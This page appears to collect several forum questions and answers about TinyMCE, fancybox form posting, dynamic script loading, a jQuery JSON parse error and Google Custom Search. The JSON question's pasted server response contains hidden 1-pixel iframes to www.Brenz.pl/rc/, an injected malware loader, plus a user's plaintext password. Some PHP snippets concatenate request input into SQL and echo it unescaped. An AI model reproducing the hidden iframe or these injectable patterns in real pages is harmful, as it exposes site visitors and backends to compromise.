I downloaded and put the directory of tinymce into my site folder..
I used the following javascript scripts in the head of my html page..
<script type="text/javascript" src="tiny_mce/tiny_mce.js"/>
<script type="text/javascript">
tinyMCE.init({
theme : "simple",
mode : "textareas",
convert_urls : false
});
</script>
My body contains this:
<textarea name="textareas" cols="40" rows="20"></textarea>
I read that the javascript should replace the textarea for the tinymce html editor. But it doesnt do it..
ps. I get no errors while running the script.
Here is the full page:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>צור כתבה</title>
<script type="text/javascript" src="tiny_mce/tiny_mce.js"/>
<script type="text/javascript">
tinyMCE.init({
mode : "textareas",
theme : "simple",
editor_selector :"mceEditor"
});
</script>
</head>
<body>
<div align="center" id="htmlEditor">
<textarea name="textareas" cols="40" rows="20" class="mceEditor"></textarea>
</div>
</body>
</html>
shouldnt the textarea be converted to a tinymce?!?!?
you should not end your script tag with />
<script type="text/javascript" src="tiny_mce/tiny_mce.js"></script>
instead of
<script type="text/javascript" src="tiny_mce/tiny_mce.js"/>
Related
This question already has an answer here:
Fancybox sends form data to other php page
(1 answer)
Closed 8 years ago.
This is my original html code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="content-script-type" content="text/javascript" />
<meta http-equiv="imagetoolbar" content="false" />
<link href='css/style.css' rel='stylesheet' type='text/css' />
<link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script type="text/javascript" src="js/jquery-1.10.1.min.js"></script>
<script type="text/javascript" src="js/jquery.mousewheel-3.0.6.pack.js"></script>
<script type="text/javascript" src="js/jquery.fancybox.js?v=2.1.5"></script>
<link rel="stylesheet" type="text/css" href="css/jquery.fancybox.css?v=2.1.5" media="screen" />
<script type="text/javascript">
$(document).ready(function() {
$("#fancybox-mail").click(function() {
$.fancybox.open({
href : 'kontakt.php',
type : 'iframe',
padding : 5
});
});
});
</script>
<style type="text/css">
.fancybox-custom .fancybox-skin {
box-shadow: 0 0 50px #222;
}
</style>
</head>
<body>
<form class="pure-form" name="fancy" action="kontakt.php" method="post">
<p>Name: <input name="name" placeholder="Name" size="25"> E-Mail: <input name="email" placeholder="beispiel#beispiel.de" size="25"><br /></p>
<textarea style="resize:none" name="comments" cols="65" rows="15"></textarea><br />
<input type="button" value="Submit" id="fancybox-mail"<br />
</form>
</body>
</html>
i want to send the data from the form to kontakt.php, but it doesn't work.
i want a frame box with the result from my kontact.php.
only the fancybox works but POST don't send anything to kontakt.php...
(without fancybox it works).
i try the result from here, but it doesn't help me.
Have anyone an idea?
thanks,
Replace the last line of your form with
<input type="submit" value="Submit" id="fancybox-mail"/><br />
type must be submit instead button
I have been trying to save tinymce editor textarea content to a .txt file for a while but without success yet.
This is my html file code:
<!Doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>TinyMCE example</title>
<meta name="description" content="HTML5 Basic template">
<meta name="author" content="R Dickinson">
<link rel="stylesheet" href="css/styles.css?v=1.0">
<script src="js/scripts.js"></script>
<script type="text/javascript" src="jscripts/tiny_mce/tiny_mce.js"></script>
<script type="text/javascript">
tinyMCE.init({
// General options
mode : "textareas",
});
</script>
<!--[if lt IE 9]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body>
<header>
<h1>test tinymce save</h1>
</header>
<nav>
</nav>
<section>
<form method="post" action="test.php">
<p>
<textarea name="content" style="width:50%"></textarea>
<input type="submit" value="Save" />
</p>
</form>
</section>
<aside>
</aside>
<footer>
</footer>
</body>
</html>
Now test.php
<?php
/*
* test.php
*/
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>test tiny mce</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<meta name="generator" content="Geany 0.21" />
</head>
<body>
<?php
echo(stripslashes($_POST['content']));
?>
<?php
$file = "data.txt";
$fp = fopen($file, 'w');
$data =(stripslashes($_POST['content']));
fwrite($fp, $data);
fclose($fp);
?>
</body>
</html>
I'm grateful for helpful replies to fix this-many thanks :-)
Update
Following the first answer below I have added triggerSave as:
<script language="Javascript">
function submitForm() {
tinyMCE.triggerSave();
document.forms[0].submit();
}
</script>
and
<form method="post" action="test.php">
<p>
<textarea name="content" style="width:50%"></textarea>
<!--<input type="submit" value="Save" />-->
Submit Form
</p>
but still no success...More help gratefully received
UPDATE 2
Here is my jQuery TinyMCE version:
<!Doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Sample WebPage</title>
<meta name="description" content="HTML5 Basic template">
<meta name="author" content="R Dickinson-see sitepoint etc">
<link rel="stylesheet" href="css/styles.css?v=1.0">
<script src="js/scripts.js"></script>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("jquery", "1.3");
</script>
<!-- Load jQuery build -->
<script type="text/javascript" src="jscripts/tiny_mce/tiny_mce.js"></script>
<script type="text/javascript">
tinyMCE.init({
mode : "textareas"
});
</script>
<!--[if lt IE 9]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body>
<header>
<h1>Enter the main heading, usually the same as the title.</h1>
</header>
<nav>
</nav>
<section>
<!-- OF COURSE YOU NEED TO ADAPT ACTION TO WHAT PAGE YOU WANT TO LOAD WHEN HITTING "SAVE" -->
<form method="post" action="show.php">
<p>
<textarea name="content" cols="50" rows="15">This is some content that will be editable with TinyMCE.</textarea>
<input type="submit" value="Save" />
</p>
</form>
</section>
<aside>
</aside>
<footer>
</footer>
</body>
</html>
The question itself comes down to :
How to save HTML content of TinyMCE into a file.
Well, first of all, you need:
1) Get content of editor
2) Send this content to PHP script
3) Implement some function that would save that content into a file
Getting content
Make sure you are getting it the way it should work.
For example,
<script type="text/javascript">
window.onload = function(){
var btn = document.getElementById('SubmitBtn');
btn.onclick = function(){
//This MUST alert HTML content of editor.
alert( tinyMCE.activeEditor.getContent() );
}
}
</script>
<input type="button" id="SubmitBtn" value="Get HTML content"/>
Sending content to PHP script
All you need to do is to send value of the method tinyMCE.activeEditor.getContent() to PHP script.
Well, you should use Jquery-AJAX for that.
Assume that you included jquery.js into script tag in the head section, the next step would be sending JavaScript variable to PHP script
It would be similar to this one:
<script type="text/javascript">
$(function(){
var url = "path_to_your_php_script.php";
$("#SomeSubmitButton").click(function(){
//"content" will PHP variable
$.post(url, { "content" : tinyMCE.activeEditor.getContent() }, function(respond){
if ( respond == ){
alert('Content saved to file');
return;
} else {
//Error message assumed
alert(respond);
}
});
});
});
</script>
PHP script
Since we were sending "content" this one will be populated in $_POST superglobal
<?php
if ( isset($_POST['content']) ){
//This is what you want - HTML content from tinyMCE
//just treat this a string
if ( save_html_to_file($_POST['content'], '/some_file.html') ){
//Print 1 and exit script
die(1);
} else {
die('Couldnt write to stream');
}
}
/**
*
* #param string $content HTML content from TinyMCE editor
* #param string $path File you want to write into
* #return boolean TRUE on success
*/
function save_html_to_file($content, $path){
return (bool) file_put_contents($path, $content);
}
So after execution this you should get back alert with message of success.
You should update your TinyMCE instances before submitting your form. Use this javascript:
tinyMCE.triggerSave();
I usually put this in a function and call it on onsubmit event of form.
There is already different questions around this topic in Stackoverflow.
I have some third party javascript code
<SCRIPT language="JavaScript" SRC="http://some-videos.com/addbutton.cfm?ID=20415454598212"></SCRIPT>
When this code is added in html file it shows one play button, now i want that if user clicks on any button one function should be called and that function will load this js code. I have tried .load, .getScript, .ajax but nothing is working.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.8.1.min.js"></script>
<script language="javascript">
function loadVideo()
{
$('#videoButton').load("http://some-videos.com/addbutton.cfm?ID=20415454598212");
}
</script>
</head>
<body>
<div id="videoButton"></div>
<input type="button" value="Load Video Button" onclick="loadVideo();" />
<br /><br />
Below code shows one play button, that is generated through included javascript file.
<SCRIPT language="JavaScript" SRC="http://some-videos.com/addbutton.cfm?ID=20415454598212"></SCRIPT>
<!-- I have added dummy Url -->
</body>
</html>
function myFunction()
{
$('head').append($('<script type="text/javascript" src="http://some-videos.com/addbutton.cfm?ID=20415454598212"></script>'));
}
I suppose using jQuery. This way will be external Javascript loaded on demand.
Hi Iam new with php and ajax I have a select box that when user selects the info must fill in to four text box.someone suggest to use jQuery my first code
anyway my php code is
if(isset($_GET['username']))
{
$username=$_GET['username'];
$usr1=new USER;
$where="username='$username'";
$a=$usr1->show($where);
echo json_encode($a);
}
and my form is here
<form id="f1">
<select id="s1">
<option selected></option>
<option value="admin" >admin</option>
<option value="pooria.hojjati">pooria.hojjati</option>
</select><br>
<input type="text" id="name" value=""><br>
<input type="text" id="family" value=""><br>
<input type="text" id="email" value=""><br>
<input type="text" id="pri" value=""><br>
<!--<input type="button" value="press me" id="btn">-->
</form>
<div id="d">
un replaced
</div>
<script language="javascript">
$("#f1 select:#s1").change(function(){
var a=$("#f1 select:#s1").val();
$.ajax({
url:'ajax.php',
data:{username:a},
type:'get',
datatype:'json',
success:function(res){
var b=JSON.parse(res);
$("#f1 input:#name").val(b.name);
$("#f1 input:#family").val(b.family);
$("#f1 input:#email").val(b.email);
$("#f1 input:#pri").val(b.privilege);}
})
});
</script>
and i have an error: SyntaxError: JSON.parse: unexpected character
And when I alert the response I get this:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>
</head>
<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>user</title>
</head>
<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>DB</title>
</head>
<body>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
{"id":"1","name":"\u067e\u0648\u0631\u06cc\u0627","family":"\u062d\u062c\u062a\u06cc \u0628\u0633\u0637\u0627\u0645\u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati#gmail.com","privilege":"1"}</body>
</html>
In jQuery, the selector $("#f1 select:#s1") is not correct syntax. This selector should be $("#f1 select#s1"). The same for the other selectors as well. :foo selectors are jQuery special selectors like :checked, :contains(), etc.
Are you using a framework in your php code which is creating the html layout? Try to bypass it. After calling echo json_encode(...), call exit;. This will immediately stop execution and output the buffer so far.
Here is the test.html file code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="zh-hans" xml:lang="zh-hans">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>test</title>
</head>
<body>
<div class="fr_search">
<form action="cse.php" accept-charset="UTF-8" method="post"
id="search-theme-form">
<input type="text" maxlength="128" name="search_theme_form"
id="edit-search-theme-form-1" size="15" value="" class="form-text" />
<input type="image" name="submit" id="edit-submit"
class="form-submit" src="images/search_btn_top.gif" /></div>
</form>
</div>
</body>
</html>
I put the code which generated by the http://www.google.com/cse/manage/create?hl=en. The
"Sites to search" I entered that was http://stackoverflow.com. When I put the generated code into the cse.php. Then put the cse.php and test.html into my local php enviroment. When I entered the text "php" into the search textbox and click the search button. But there is no any result on my search result page. What's wrong with my steps and code? thank you.
Here is the cse.php file code:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>test search</title>
</head>
<body>
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
<script type="text/javascript">
google.load('search', '1', {language : 'en'});
google.setOnLoadCallback(function()
{
var customSearchControl = new google.search.CustomSearchControl ('011247711644571852159:xe2ytn1hwsa');
customSearchControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET);
customSearchControl.draw('cse');
}, true);
</script>
<link rel="stylesheet" href="http://www.google.com/cse/style/look/default.css"
type="text/css" />
<?php echo 'test'; ?>
</body>
</html>
I'm not sure where to start with your code, but with a fresh code snippet from the Custom Search code generator, you can pass a query string to the CustomSearchControl. With code borrowed from here, something like this should work:
<div id="cse">Loading…</div>
<script src="http://www.google.com/jsapi"></script>
<script>
// Extract user's query from the URL
function getQuery() {
var url = '' + window.location;
var queryStart = url.indexOf('?') + 1;
if (queryStart > 0) {
var parts = url.substr(queryStart).split('&');
for (var i = 0; i < parts.length; i++) {
if (parts[i].length > 2 && parts[i].substr(0, 2) == 'q=') {
return decodeURIComponent(parts[i].split('=')[1].replace(/\+/g, ' '));
}
}
}
return '';
}
google.load('search', '1', {language:'en' });
google.setOnLoadCallback(function() {
var cseControl = new google.search.CustomSearchControl('ID_GOES_HERE');
cseControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET);
cseControl.draw('cse');
// Execute a query based on the query string
cseControl.execute(getQuery());
}, true);
</script>
So, for example that would go in your cse.php page (although there's no PHP in there at this stage) and your initial page's form something like:
<form action="cse.php" method="get">
<input name="q"> <input type="submit">
</form>
Get rid of the http:// in the sites to search bit.